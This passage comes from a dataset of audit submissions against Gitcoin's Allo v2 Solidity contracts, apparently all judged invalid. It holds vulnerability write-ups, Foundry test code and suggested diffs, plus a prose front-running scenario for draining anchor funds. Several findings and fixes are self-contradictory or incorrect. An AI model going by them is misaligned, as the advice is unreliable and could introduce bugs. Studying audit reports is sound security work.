when creating pools due to the wrong baseFee payment implementation\nUsers are required to send more ether than necessary when creating a pool, resulting in extra ethers becoming trapped within the Allo contract. These extra funds are neither allocated to the strategy nor returned to the user, effectively locking them within the contract and preventing withdrawal. Such unintended fund locking poses a significant risk, potentially leading to user dissatisfaction and erosion of trust in the platform.\n\n## Vulnerability Detail\nIn the case of `baseFee > 0`, `_createPool` will perform some checks:\n```solidity\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n```\nIt means:\n - When `_token == NATIVE` then `msg.value` must be greater than (not even equal to) `baseFee + _amount`\n - When `_token != NATIVE` then `msg.value` must be greater than (not even equal to) `baseFee`\n\nSo when `baseFee > 0`, the profile owner should always send some extra ethers when creating a pool. These extra ethers are neither sent to the strategy nor returned to the user, resulting in them getting trapped in the Allo contract.\n\nLet's say a profile owner wants to create a pool with a custom strategy, `NATIVE` as token type and 0 as `_amount`. Since `baseFee` is set to 1 ether, the profile owner should send more ether than the sum of `baseFee` (1 ether) and `_amount` ( 0 ), So they call the `createPoolWithCustomStrategy` with `msg.value` set to 2 ethers. The `createPoolWithCustomStrategy` function calls the `_createPool` function. Inside `_createPool` 1 ether is deducted from `msg.value` to pay the `baseFee` to the treasury and then the pool is created with 0 as `_amount`.\nNow, the situation arises where 1 extra ether is trapped within the Allo contract and cannot be withdrawn by the profile owner.\n\n## Impact\nUser funds being unintentionally locked in the contract can result in user dissatisfaction and potential loss of trust in the platform.\n\n## Proof of Concept\nAbove scenario is implemented within this test.\nAdd the following test function to: `test/foundry/core/Allo.t.sol`\nRun: `forge test --match-test test_ExtraEthWhileCreatePool`\n```solidity\n function test_ExtraEthWhileCreatePool() public {\n uint256 baseFee = 1 ether;\n\n allo().updateBaseFee(baseFee);\n\n uint256 strategyBalanceBefore = address(strategy).balance;\n uint256 alloBalanceBefore = address(allo()).balance;\n\n vm.deal(address(pool_admin()), 2 ether);\n\n // Pool admin calls the createPoolWithCustomStrategy with _amount set to 0, and 1 ether as msg.value\n // to pay the baseFee but the Transaction will revert due to a NOT_ENOUGH_FUNDS error.\n vm.prank(pool_admin());\n vm.expectRevert(NOT_ENOUGH_FUNDS.selector);\n allo().createPoolWithCustomStrategy{value: 1 ether}(\n poolProfile_id(), strategy, \"0x\", NATIVE, 0, metadata, pool_managers()\n );\n\n // Pool admin calls the createPoolWithCustomStrategy again with _amount set to 0, and 2 ethers as msg.value\n // to cover the baseFee payment\n vm.prank(pool_admin());\n allo().createPoolWithCustomStrategy{value: 2 ether}(\n poolProfile_id(), strategy, \"0x\", NATIVE, 0, metadata, pool_managers()\n );\n\n // The balance of the strategy is 0 because _amount was set to 0\n assertEq(address(strategy).balance, strategyBalanceBefore);\n\n // Extra ether will be trapped within Allo contract.\n assertEq(address(allo()).balance, alloBalanceBefore + 1 ether);\n\n // Pool admin has lost 1 ether \n assertEq(address(pool_admin()).balance, 0);\n }\n```\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473\n\n```solidity\n if (baseFee > 0) {\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n emit BaseFeePaid(poolId, baseFee);\n }\n```\n## Tool used\n\nFoundry\nVSCode\n\n## Recommendation\nThere are 2 ways to solve this bug:\n\n1. Let users send ether equal to the amount needed for `baseFee` payment, so there will be no need to send extra ethers:\n```diff\ndiff --git a/Allo.sol.orig b/Allo.sol\nindex 45ae82c..07cd690 100644\n--- a/Allo.sol.orig\n+++ b/Allo.sol\n@@ -470,7 +470,7 @@ contract Allo is IAllo, Native, Transfer, Initializable, Ownable, AccessControl,\n // To prevent paying the baseFee from the Allo contract's balance\n // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\n // If _token is not NATIVE, then baseFee should be >= than msg.value.\n- if ((_token == NATIVE && (baseFee + _amount >= msg.value)) || (_token != NATIVE && baseFee >= msg.value)) {\n+ if ((_token == NATIVE && (baseFee + _amount > msg.value)) || (_token != NATIVE && baseFee > msg.value)) {\n revert NOT_ENOUGH_FUNDS();\n }\n _transferAmount(NATIVE, treasury, baseFee);\n```\n2. Return the extra ethers received\n```diff\ndiff --git a/Allo.sol.orig b/Allo.sol\nindex 45ae82c..afd8b15 100644\n--- a/Allo.sol.orig\n+++ b/Allo.sol\n@@ -481,6 +481,19 @@ contract Allo is IAllo, Native, Transfer, Initializable, Ownable, AccessControl,\n _fundPool(_amount, poolId, _strategy);\n }\n \n+ // Sending back the extra ether\n+ uint256 extraETH = msg.value - baseFee;\n+ if(_token != NATIVE){\n+ if(extraETH != 0){\n+ _transferAmount(NATIVE, msg.sender, extraETH);\n+ }\n+ }else{\n+ extraETH -= _amount;\n+ if(extraETH != 0){\n+ _transferAmount(NATIVE, msg.sender, extraETH);\n+ }\n+ }\n+\n emit PoolCreated(poolId, _profileId, _strategy, _token, _amount, _metadata);\n }\n \n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/101.md"}} +{"title":"Standard version of `AccessControl` in upgradeable contracts","severity":"info","body":"Cuddly Pewter Shark\n\nmedium\n\n# Standard version of `AccessControl` in upgradeable contracts\nA standard version of the `AccessControl` is used in `Allo` and `Registry`, which is intended to be upgradable. \n\n## Vulnerability Detail\n`Allo` and `Registry` use `openzeppelin-contracts/contracts/access/AccessControl.sol` instead of the upgradeable version `openzeppelin-contracts-upgradeable/contracts/access/AccessControlUpgradeable.sol`.\nWhile it is true that `AccessControl` doesn't have an initializer function, it still may be affected by a storage collision because the standard version of `AccessControl` and its underlying dependencies don't implement storage gaps. An upgrade of OpenZeppelin's libraries may lead to a storage collision.\n\nOfficial docs about the use of upgradeable versions of contracts:\nhttps://docs.openzeppelin.com/upgrades-plugins/1.x/writing-upgradeable#use-upgradeable-libraries\nhttps://docs.openzeppelin.com/contracts/4.x/upgradeable\n\n## Impact\nPossible storage collision during an upgrade.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L8\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L5\n\n## Tool used\nManual Review\n\n## Recommendation\nUse the upgradeable version of `AccessControl`","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/097.md"}} +{"title":"In `Transfer.sol`, `_transferAmountsFrom()` will always revert","severity":"info","body":"Plain Pebble Chimpanzee\n\nmedium\n\n# In `Transfer.sol`, `_transferAmountsFrom()` will always revert\nIn `Transfer.sol`, `_transferAmountsFrom()` does not refund excess ethers so it will always revert\n\n## Vulnerability Detail\n## Impact\n\nIn `Transfer.sol`, `_transferAmountsFrom()` is used to transfer an amount of a token to an array of addresses.\n\n```Solidity\nFile: contracts/core/libraries/Transfer.sol\n\n function _transferAmountsFrom(address _token, TransferData[] memory _transferData) internal returns (bool) {\n uint256 msgValue = msg.value;\n\n for (uint256 i; i < _transferData.length;) {\n TransferData memory transferData = _transferData[i];\n\n if (_token == NATIVE) {\n>> msgValue -= transferData.amount;\n SafeTransferLib.safeTransferETH(transferData.to, transferData.amount);\n } else {\n SafeTransferLib.safeTransferFrom(_token, transferData.from, transferData.to, transferData.amount);\n }\n\n unchecked {\n i++;\n }\n }\n\n>> if (msgValue != 0) revert AMOUNT_MISMATCH();\n\n return true;\n }\n```\n\nIt stores the user provide `msg.value` in local variable `msgValue`. The function transfers the native ETH i.e `transferData.amount` to the recipient address i.e `to` address.\n\n```Solidity\n\n if (_token == NATIVE) {\n msgValue -= transferData.amount;\n SafeTransferLib.safeTransferETH(transferData.to, transferData.amount);\n```\n\nThe issue here is it does not refund the access ether to the `msg.sender` or the address which has initiated the transaction and also the function checks for `msgValue != 0` means there should not be any left native ethers and then the transaction gets successful.\n\n```Solidity\n if (msgValue != 0) revert AMOUNT_MISMATCH();\n```\n\nThis condition will always revert if the excess ethers does not refunded which is happening in current implementation.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/libraries/Transfer.sol#L61\n\n## Tool used\nManual Review\n\n## Recommendation\nRefund the excess ether to the sender who initiated the transaction.\n\n**For example understanding only:**\nHere, we have considered the refunder address as msg.sender however per the design an additional `address payer` can be introduced as parameter in used function.\n\n```diff\n\n function _transferAmountsFrom(address _token, TransferData[] memory _transferData) internal returns (bool) {\n uint256 msgValue = msg.value;\n\n for (uint256 i; i < _transferData.length;) {\n TransferData memory transferData = _transferData[i];\n\n if (_token == NATIVE) {\n msgValue -= transferData.amount;\n SafeTransferLib.safeTransferETH(transferData.to, transferData.amount);\n+ if (msgValue > 0){\n+ SafeTransferLib.safeTransferETH(msg.sender, msgValue);\n+ }\n } else {\n SafeTransferLib.safeTransferFrom(_token, transferData.from, transferData.to, transferData.amount);\n }\n\n unchecked {\n i++;\n }\n }\n\n if (msgValue != 0) revert AMOUNT_MISMATCH(); @audit // Now this condition will always be true due to addition of refund logic\n\n return true;\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/096.md"}} +{"title":"First pool depositor can be front-run","severity":"info","body":"Blunt Cerulean Hedgehog\n\nhigh\n\n# First pool depositor can be front-run\nThe `fundPool` function in the provided smart contract is susceptible to a front-running attack. This issue arises due to the lack of validation for checking whether a pool is already fully funded before allowing users to contribute tokens to it.\n## Vulnerability Detail\nThe `fundPool` function is designed to allow users to contribute tokens to a specific pool. However, it lacks proper validation to prevent front-running attacks. Below is the vulnerable code snippet:\n```solidity\nfunction fundPool(uint256 _poolId, uint256 _amount) external payable nonReentrant {\n // No check for whether the pool is already fully funded\n // No check for excessive contributions\n // Call to the internal _fundPool function\n _fundPool(_amount, _poolId, pools[_poolId].strategy);\n}\n```\nThe vulnerability arises from the following aspects:\n1. Lack of Validation: The function does not verify whether the pool is already fully funded before accepting user contributions. This allows malicious actors to front-run legitimate users and fund the pool before they do.\n2. No Check for Excessive Contributions: The code does not prevent users from contributing more tokens than are needed to fully fund the pool. This oversight can result in users' funds being locked in the contract without contributing to the pool.\n## Impact\nThe primary impact of this vulnerability is that the first pool depositor can be front-run by attackers who can quickly fund the pool, potentially causing a loss of funds for the legitimate user.\n## Code Snippet\n(https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L339-L345)\n\n(https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L502-L520)\n## Tool used\n\nManual Review\n\n## Recommendation\n```solidity\nfunction fundPool(uint256 _poolId, uint256 _amount) external payable nonReentrant {\n // Check if the pool is already fully funded\n Pool storage pool = pools[_poolId];\n uint256 remainingFundsNeeded = pool.strategy.remainingFundsNeeded(_poolId);\n\n if (_amount == 0) revert NOT_ENOUGH_FUNDS();\n \n // Ensure that the user's contribution does not exceed the remaining funds needed\n if (_amount > remainingFundsNeeded) {\n revert EXCESSIVE_FUNDS();\n }\n\n // Call the internal fundPool() function\n _fundPool(_amount, _poolId, pool.strategy);\n}\n```\nIn this modified code, we added checks to ensure that the pool is not already fully funded and that the user's contribution does not exceed the remaining funds needed. This mitigates the front-running risk by preventing excessive contributions and ensuring fair access to pool funding. Additionally, you should define the `EXCESSIVE_FUNDS` error in your contract and provide appropriate error messages for clarity.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/094.md"}} +{"title":"Duplicate Strategy Addresses Allowed in `addToCloneableStrategies`","severity":"info","body":"Blunt Cerulean Hedgehog\n\nmedium\n\n# Duplicate Strategy Addresses Allowed in `addToCloneableStrategies`\nThe `addToCloneableStrategies` function in the `Allo` contract allows the same strategy address to be added to the `cloneableStrategies` mapping multiple times without any checks, potentially leading to unexpected behavior and unnecessary gas costs.\n## Vulnerability Detail\nThe `addToCloneableStrategies` function in the `Allo` contract is intended to add strategy addresses to the `cloneableStrategies` mapping. However, it lacks a check to prevent the addition of the same strategy address multiple times. This means that if an address is added as a cloneable strategy more than once, it will be duplicated in the mapping, which could result in unintended consequences.\n\nHere's the code snippet of the `addToCloneableStrategies` function:\n```solidity\nfunction addToCloneableStrategies(address _strategy) external onlyOwner {\n if (_strategy == address(0)) revert ZERO_ADDRESS();\n\n // Check if the strategy is already approved\n if (cloneableStrategies[_strategy]) {\n revert STRATEGY_ALREADY_APPROVED();\n }\n\n // Approve the strategy\n cloneableStrategies[_strategy] = true;\n emit StrategyApproved(_strategy);\n}\n```\n## Impact\nThe impact of allowing duplicate strategy addresses to be added to the `cloneableStrategies` mapping without checks is primarily related to gas inefficiency and potential inconsistencies in removal. Gas inefficiency arises from unnecessary iterations over duplicate entries, leading to higher transaction costs. Additionally, when using the `removeFromCloneableStrategies` function, removing duplicates may lead to inconsistent behavior, such as removing one duplicate while leaving the other intact, causing confusion and unintended modifications.\n## Code Snippet\n(https://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L241-L246)\n## Tool used\n\nManual Review\n\n## Recommendation\nImplement a check in the `addToCloneableStrategies` function to ensure that the strategy address is not already present in the `cloneableStrategies` mapping before adding it.","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/092.md"}} +{"title":"In `Allo.sol`, incorrect implementation of `batchRegisterRecipient()` and `registerRecipient()`","severity":"info","body":"Plain Pebble Chimpanzee\n\nmedium\n\n# In `Allo.sol`, incorrect implementation of `batchRegisterRecipient()` and `registerRecipient()`\nIn `Allo.sol`, `batchRegisterRecipient()` lacks payable and incorrect implementation of `registerRecipient()`\n\n## Vulnerability Detail\n## Impact\n\nIn Allo.sol, `batchRegisterRecipient()` is used to register multiple recipients to multiple pools simultaneously by calling the this function.\n\n```Solidity\nFile: contracts/core/Allo.sol\n\n function batchRegisterRecipient(uint256[] memory _poolIds, bytes[] memory _data)\n external\n nonReentrant\n returns (address[] memory recipientIds)\n {\n uint256 poolIdLength = _poolIds.length;\n recipientIds = new address[](poolIdLength);\n\n if (poolIdLength != _data.length) revert MISMATCH();\n\n // Loop through the '_poolIds' & '_data' and call the 'strategy.registerRecipient()' function\n for (uint256 i; i < poolIdLength;) {\n>> recipientIds[i] = pools[_poolIds[i]].strategy.registerRecipient(_data[i], msg.sender);\n unchecked {\n ++i;\n }\n }\n\n // Return the recipientIds that have been registered\n return recipientIds;\n }\n```\n\nNow, check this line of code\n\n```Solidity\n recipientIds[i] = pools[_poolIds[i]].strategy.registerRecipient(_data[i], msg.sender);\n```\n\nIt is to be noted that BaseStrategy.sol is the contract which is used as the base contract for all strategies and in that contract the function called `pools[_poolIds[i]].strategy.registerRecipient()` is made payable which can be seen as below,\n\n```Solidity\nFile: contracts/strategies/BaseStrategy.sol\n\n function registerRecipient(bytes memory _data, address _sender)\n external\n>> payable\n onlyAllo\n onlyInitialized\n returns (address recipientId)\n {\n _beforeRegisterRecipient(_data, _sender);\n recipientId = _registerRecipient(_data, _sender);\n _afterRegisterRecipient(_data, _sender);\n }\n```\n\nTherefore the called function is payable i.e `registerRecipient()` and the calling function should also be payable i.e `batchRegisterRecipient()`. The payable is used in function to send the native ETH(other contract token) with the function call and the msg.value i.e eth(or other contract token) will be required to sent with the function call and the `batchRegisterRecipient()` is not payable so msg.value can not be sent along with function call.\n\nIt is further noted that `registerRecipient()` is a payable function and also use the `pools[_poolId].strategy.registerRecipient()` which can be seen below,\n\n```Solidity\nFile: contracts/core/Allo.sol\n\n>> function registerRecipient(uint256 _poolId, bytes memory _data) external payable nonReentrant returns (address) {\n // Return the recipientId (address) from the strategy\n return pools[_poolId].strategy.registerRecipient(_data, msg.sender);\n }\n```\n\nFor the correct functionality of `batchRegisterRecipient()`, It must be payable function.\n\n\nAnother issue with `registerRecipient()` which is a payable function but its implementation is not correct as the msg.value param is missing in its implementation. The recommendation provides the fixes for both the issues.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L313\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L301\n\n## Tool used\nManual Review\n\n## Recommendation\n\n```diff\n\n\n\n function registerRecipient(uint256 _poolId, bytes memory _data) external payable nonReentrant returns (address) {\n // Return the recipientId (address) from the strategy\n- return pools[_poolId].strategy.registerRecipient(_data, msg.sender);\n+ return pools[_poolId].strategy.registerRecipient{value: msg.value}(_data, msg.sender);\n }\n\n\n\n function batchRegisterRecipient(uint256[] memory _poolIds, bytes[] memory _data)\n external\n+ payable\n nonReentrant\n returns (address[] memory recipientIds)\n {\n uint256 poolIdLength = _poolIds.length;\n recipientIds = new address[](poolIdLength);\n\n if (poolIdLength != _data.length) revert MISMATCH();\n\n // Loop through the '_poolIds' & '_data' and call the 'strategy.registerRecipient()' function\n for (uint256 i; i < poolIdLength;) {\n- recipientIds[i] = pools[_poolIds[i]].strategy.registerRecipient(_data[i], msg.sender);\n+ recipientIds[i] = pools[_poolIds[i]].strategy.registerRecipient{value: msg.value}(_data[i], msg.sender);\n unchecked {\n ++i;\n }\n }\n\n // Return the recipientIds that have been registered\n return recipientIds;\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/090.md"}} +{"title":"Pool creator must send native value of more than the baseFee, otherwise _createPool function reverts","severity":"info","body":"Suave Peanut Panda\n\nmedium\n\n# Pool creator must send native value of more than the baseFee, otherwise _createPool function reverts\nWhen creating a pool, a pool creator must send fees in native token as msg.value. However, he is required to send the amount more than the baseFee variable represents, or otherwise transaction reverts.\n## Vulnerability Detail\nIn `_createPool` function\n```solidity\nif (baseFee > 0) {\nĀ  Ā  Ā  Ā  Ā  Ā  // To prevent paying the baseFee from the Allo contract's balance\nĀ  Ā  Ā  Ā  Ā  Ā  // If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\nĀ  Ā  Ā  Ā  Ā  Ā  // If _token is not NATIVE, then baseFee should be >= than msg.value.\nĀ  Ā  Ā  Ā  Ā  Ā  if (\nĀ  Ā  Ā  Ā  Ā  Ā  Ā  Ā  (_token == NATIVE && (baseFee + _amount >= msg.value)) ||\nĀ  Ā  Ā  Ā  Ā  Ā  Ā  Ā  (_token != NATIVE && baseFee >= msg.value)\nĀ  Ā  Ā  Ā  Ā  Ā  ) {\nĀ  Ā  Ā  Ā  Ā  Ā  Ā  Ā  revert NOT_ENOUGH_FUNDS();\nĀ  Ā  Ā  Ā  Ā  Ā  }\nĀ  Ā  Ā  Ā  Ā  Ā  _transferAmount(NATIVE, treasury, baseFee);\nĀ  Ā  Ā  Ā  Ā  Ā  emit BaseFeePaid(poolId, baseFee);\nĀ  Ā  Ā  Ā  }\n```\nThe `baseFee + _amount` and the `baseFee` are required to be less than msg.value, which implies that sender must send value more than the baseFee represents, meaning that users that are not aware of this will experience dos.\n## Impact\nUsers who want to create pools will experience dos when sending the right amount of native currency to cover the fees.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L469-L478\n## Tool used\n\nManual Review\n\n## Recommendation\nInstead of using `more or equals to` operator, use `more than` operator\n```solidity\nif (\nĀ  Ā  (_token == NATIVE && (baseFee + _amount > msg.value)) ||\nĀ  Ā  (_token != NATIVE && baseFee > msg.value)\n) {\nĀ  revert NOT_ENOUGH_FUNDS();\n}\n```\nIn addition, you can update comments\nFrom:\n```solidity\n// If _token is NATIVE, then baseFee + _amount should be >= than msg.value.\nĀ  Ā  Ā  Ā  Ā  Ā  // If _token is not NATIVE, then baseFee should be >= than msg.value.\n```\nTo:\n```solidity\n// If _token is NATIVE, then baseFee + _amount should be <= than msg.value.\nĀ  Ā  Ā  Ā  Ā  Ā  // If _token is not NATIVE, then baseFee should be <= than msg.value.\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/089.md"}} +{"title":"Lack of registry verification allows a malicious user to deploy the anchor contract with a malicious registry contract for any profileId by frontrunning the `createProfile` function","severity":"info","body":"Suave Peanut Panda\n\nhigh\n\n# Lack of registry verification allows a malicious user to deploy the anchor contract with a malicious registry contract for any profileId by frontrunning the `createProfile` function\nWhen creating a profile, users specify nonce in `createProfile` function and are given the profileId based on this nonce and msg.sender's address. Later on, an anchor is created which is tied to the given profileId. The creation is deterministic in its nature so it is possible for anyone to create an anchor beforehand. This would not be an issue if it was not possible to create an anchor with malicious registry address, thus breaking its security and integrity.\n## Vulnerability Detail\nIn `_generateAnchor()` function a salt of a profileId and a user-supplied variable \\_name is passed into `CREATE3.getDeployed()` function for address pre calculation. This address is then used to check whether the contract exists or not. If it does, it just returns the address. `The only check performed is that the profileId of the anchor contract matches the profileId calculated in createProfile() function.`\n```solidity\nif (preCalculatedAddress.code.length > 0) {\nĀ  Ā  Ā  Ā  Ā  Ā  if (Anchor(payable(preCalculatedAddress)).profileId() != _profileId)\nĀ  Ā  Ā  Ā  Ā  Ā  Ā  Ā  revert ANCHOR_ERROR();\nĀ  Ā  Ā  Ā  Ā  Ā  //@audit no registry mismatch check, this tx can be frontrun to create a malicious anchor with fake registry contract\n\nĀ  Ā  Ā  Ā  Ā  Ā  anchor = preCalculatedAddress;\nĀ  Ā  Ā  Ā  }\n```\nThis allows anyone to frontrun this transaction to create an anchor with malicious registry contract.\nConsider the following scenario. Alice wants to create a new profile for herself. Bob sees her transaction in the mempool and frontruns it with anchor deployment (he can do that since anchor creation is deterministic). In constructor of the anchor contract, he provides the right profileId to pass the above check (he can also do that since profileIds are hashes of `nonce` and `msg.sender`) and also provides malicious registry contract. Now the check in the `Anchor.execute()` is completely useless.\n```solidity\nif (!registry.isOwnerOfProfile(profileId, msg.sender)) revert UNAUTHORIZED();\n```\nAlice then decides to use her anchor as recipientAddress in some strategy. Now Bob only needs to wait for the distribution to start. When the funds are in the Anchor contract, he calls `execute` and can do whatever he wants with them.\n## Impact\nThis successfully breaks the Anchor contract functionality and also can be used to steal funds from users. Since Anchors are specifically designed to be used as recipientAddresses in strategies, the impact can be very huge.\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Anchor.sol#L70-L84\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L119-L125\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Registry.sol#L335-L352\n## Tool used\n\nManual Review\n\n## Recommendation\nAdd an additional check in `_generateAnchor()` function in the branch where `preCalculatedAddress.code.length > 0`\n```solidity\nif (Anchor(payable(preCalculatedAddress)).registry() != address(this))\nĀ  Ā  Ā  Ā  Ā  Ā  Ā  Ā  revert ANCHOR_ERROR();\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/085.md"}} +{"title":"In `Allo.sol`, `batchAllocate()` function is not payable so msg.value can not be sent along with call","severity":"info","body":"Plain Pebble Chimpanzee\n\nmedium\n\n# In `Allo.sol`, `batchAllocate()` function is not payable so msg.value can not be sent along with call\nIn `Allo.sol`, `batchAllocate()` function is not payable so msg.value can not be sent along with call\n\n## Vulnerability Detail\n## Impact\n\nIn `Allo.sol`, `batchAllocate()` is used to allocate funds to strategies of multiple pools by calling this function.\n\n```Solidity\nFile: contracts/core/Allo.sol\n\n function batchAllocate(uint256[] calldata _poolIds, bytes[] memory _datas) external nonReentrant {\n uint256 numPools = _poolIds.length;\n\n // Reverts if the length of _poolIds does not match the length of _datas with 'MISMATCH()' error\n if (numPools != _datas.length) revert MISMATCH();\n\n // Loop through the _poolIds & _datas and call the internal _allocate() function\n for (uint256 i; i < numPools;) {\n>> _allocate(_poolIds[i], _datas[i]);\n unchecked {\n ++i;\n }\n }\n }\n```\n\nIt calls the sub function `_allocate() which looks as below,\n\n```Solidity\nFile: contracts/core/Allo.sol\n\n function _allocate(uint256 _poolId, bytes memory _data) internal {\n>> pools[_poolId].strategy.allocate{value: msg.value}(_data, msg.sender);\n }\n```\n\nAs it can be seen, the msg.value will be required to sent with the function call and the `batchAllocate()` is not payable so msg.value can not be sent along with function call. \n\nHowever, the normal `allocate()` is made payable which also use `_allocate()` in its function call,\n\n```Solidity\nFile: contracts/core/Allo.sol\n\n function allocate(uint256 _poolId, bytes memory _data) external payable nonReentrant {\n _allocate(_poolId, _data);\n }\n```\n\nHere, it can be seen `allocate()` is made payable so that msg.value can be sent along with call therefore in similar way `batchAllocate()` should also be made payable to achieve intended functionality.\n\nIt is to be further noted that `BaseStrategy.sol` is the contract which is used as the base contract for all strategies and in that contract the function called `pools[_poolId].strategy.allocate()` is also made payable which can be seen as below,\n\n```Solidity\nFile: contracts/strategies/BaseStrategy.sol\n\n>> function allocate(bytes memory _data, address _sender) external payable onlyAllo onlyInitialized {\n _beforeAllocate(_data, _sender);\n _allocate(_data, _sender);\n _afterAllocate(_data, _sender);\n }\n```\n\nTherefore the called function is payable and the calling function should also be payable.\n\n## Code Snippet\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L362\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L492\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/strategies/BaseStrategy.sol#L182\n\n## Tool used\nManual Review\n\n## Recommendation\n\n```diff\n\n- function batchAllocate(uint256[] calldata _poolIds, bytes[] memory _datas) external nonReentrant {\n+ function batchAllocate(uint256[] calldata _poolIds, bytes[] memory _datas) external payable nonReentrant {\n uint256 numPools = _poolIds.length;\n\n // Reverts if the length of _poolIds does not match the length of _datas with 'MISMATCH()' error\n if (numPools != _datas.length) revert MISMATCH();\n\n // Loop through the _poolIds & _datas and call the internal _allocate() function\n for (uint256 i; i < numPools;) {\n _allocate(_poolIds[i], _datas[i]);\n unchecked {\n ++i;\n }\n }\n }\n```","dataSource":{"name":"sherlock-audit/2023-09-Gitcoin-judging","repo":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging","url":"https://github.com/sherlock-audit/2023-09-Gitcoin-judging/blob/main//invalid/084.md"}} +{"title":"Profile owner / member will loose funds when creating pool due to incorrect check","severity":"info","body":"Suave Crimson Peacock\n\nhigh\n\n# Profile owner / member will loose funds when creating pool due to incorrect check\nMember of profile or Profile owner will loose funds when creating pool using `Allo::createPoolWithCustomStrategy()` because of incorrect check in the `_createPool` function.\n\n## Vulnerability Detail\nWhen Profile member / owner deploy new pool with the help `Allo::createPoolWithCustomStrategy()` function, it calls `Allo::_createPool()` function after doing some checks. This `Allo::_createPool()` is responsible for creating pool and making call to `Allo::_fundPool()` function for funding the pool. \n\n_createPoolWithCustomStrategy_\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L144-L161\n\n__createPool_\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L415-L486\n\nBut this `Allo::_createPool()` is doing an incorrect check when it tries to transfer the `baseFee` to the treasury shown below:\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L473-L475\n\nAccording to this check if the token in `NATIVE` (means ETH) then the `msg.value` should be more than `baseFee` plus `_amount` (which is the amount we want to transfer in the pool). If that is not the case then this function will always revert. But this check is incorrect as there are only two fees that a pool deployer will have to pay that is `baseFee` and `percentFee`. \nThe `baseFee` will be sent separately than `_amount` in `msg.value`. And the `percentFee` will be deducted from the `_amount` sent. That means `msg.value` sent to this function should be equal to `baseFee + _amount`. But this function will revert when amount equal to `baseFee + _amount` is sent because of the above check. So every time when a pools needs to be deployed, the pool deployer will have to send more ETH and he will loose that extra ETH because only `_amount` of the ETH will be deposited in the newly created pool as the below code sends `_amount` only to `Allo::_fundPool()` after paying `baseFee`:\n\nhttps://github.com/sherlock-audit/2023-09-Gitcoin/blob/main/allo-v2/contracts/core/Allo.sol#L481-L481\n\nThe rest of the amount will remain deposited in `Allo` contract that only Owner of the `Allo` can recover.\n\n## Impact\nPool deployer will loose funds.\n\n## Code Snippet\n#### Code Snippet for the test that proves that if `msg.value` equal to `baseFee + _amount` is sent. The function will revert\n```Javascript\n function test_ShouldRevertWhenAmountEqualToBaseFeePlusAmountIsSent() public {\n uint256 baseFee = 